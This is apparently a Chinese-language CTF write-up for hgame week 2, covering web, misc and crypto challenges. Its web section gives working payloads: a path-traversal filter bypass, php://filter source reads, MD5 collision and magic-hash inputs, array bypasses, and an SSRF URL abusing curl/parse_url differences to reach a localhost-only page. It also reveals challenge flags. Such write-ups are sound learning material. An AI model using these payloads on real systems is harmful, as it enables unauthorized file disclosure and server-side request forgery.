week2-wp
wuerror
web
-
easy php
使用…/./来绕过
str_replace(`'../', '', $img`)
?img=…/./flag可以得到回显maybe_you_should_think_think
再想想,试试伪协议读取文件看看
伪协议:?img=php://filter/read=convert.base64-encode/resource=…/./flag
得到base64加密后的源码,解码后如下
<?php
//$flag = 'hgame{You_4re_So_g0od}';
echo "maybe_you_should_think_think";
flag藏在注释里
-
php trick
注释标了个admin.php,访问一下显示only localhost can see。把包头加了个x-forwared-for:127.0.0.1没有什么用。先放一边。
step1234:就是两种类型的md5碰撞
step5:H_game用url编码绕过
step6、7、8:数组绕过
写到这下面的部分也看出来了,是一个ssrf.要利用这个curl访问之前注释标的admin.php。百度一下要利用curl和parse_url()对URL解析的差异绕过
构造
url=http://fool@127.0.0.1:80@www.baidu.com/admin.php
(这个80端口卡了挺久的,之前以为是题目的3001端口,后来试了下http的80结果成了)admin.php内容如下
<?php //flag.php if($_SERVER['REMOTE_ADDR'] != '127.0.0.1') { die('only localhost can see it'); } $filename = $_GET['filename']??''; if (file_exists($filename)) { echo "sorry,you can't see it"; } else{ echo file_get_contents($filename); } highlight_file(__FILE__); ?>
利用伪协议获取flag.php的内容,最终payload:
str1=QNKCDZO&str2=240610708&str3=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&str4=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2&%48%5f%67%61%6d%65[ ]=1&url=http://fool@127.0.0.1:80@www.baidu.com/admin.php?filename=php://filter/read=convert.base64-encode/resource=flag.php
最后base64解密就行了。
//login.php <?php require_once('functions.php'); if (!isset($_POST['username']) or !isset($_POST['password'])) { if (isset($_GET['loginout'])) { loginout(); } if (!isset($_SESSION['login'])) { include('template/login.html'); csrf_token(); } else { Header('Location: /index.php'); } } else { login(addslashes($_POST['username']), addslashes($_POST['password']), $_POST['token']); } //register.php <?php require_once('functions.php'); if (!isset($_POST['username']) or !isset($_POST['password'])) { include('template/register.html'); csrf_token(); } else { register(addslashes($_POST['username']), addslashes($_POST['password']), $_POST['token']); }
misc
1.dns
根据hint,使用nslook -qt=类型 project-a11.club 查询它的各种dns记录(A,AAAA,CNAME,TXT等)然后在txt里找到了
2.找得到我吗?小火汁
下载用wireshark打开。先看看http包,只发现一句话flag is very safe now!推测是加密了。正好也看到了很多TLS
在ftp包的最后发现了一个secret.zip(是总数的第403个包)
接下来的404/405两个包含有数据,把两个包的数据用hex stream的方式复制到winhex中,注意把压缩包内容外的数据要删掉。得到secret.zip。打开它得到secret.log文件,百度知道它是密钥,把wireshark的编辑->首选项->protocal->ssl->(pre)-master-secret log filename设置成它。进行解密,在回到http里,就能发现解密的包里有一个1.tar。解压获得flag.jpg。winhex打开得到flag
crypto
vigener
网上找个vigener的在线解码就行了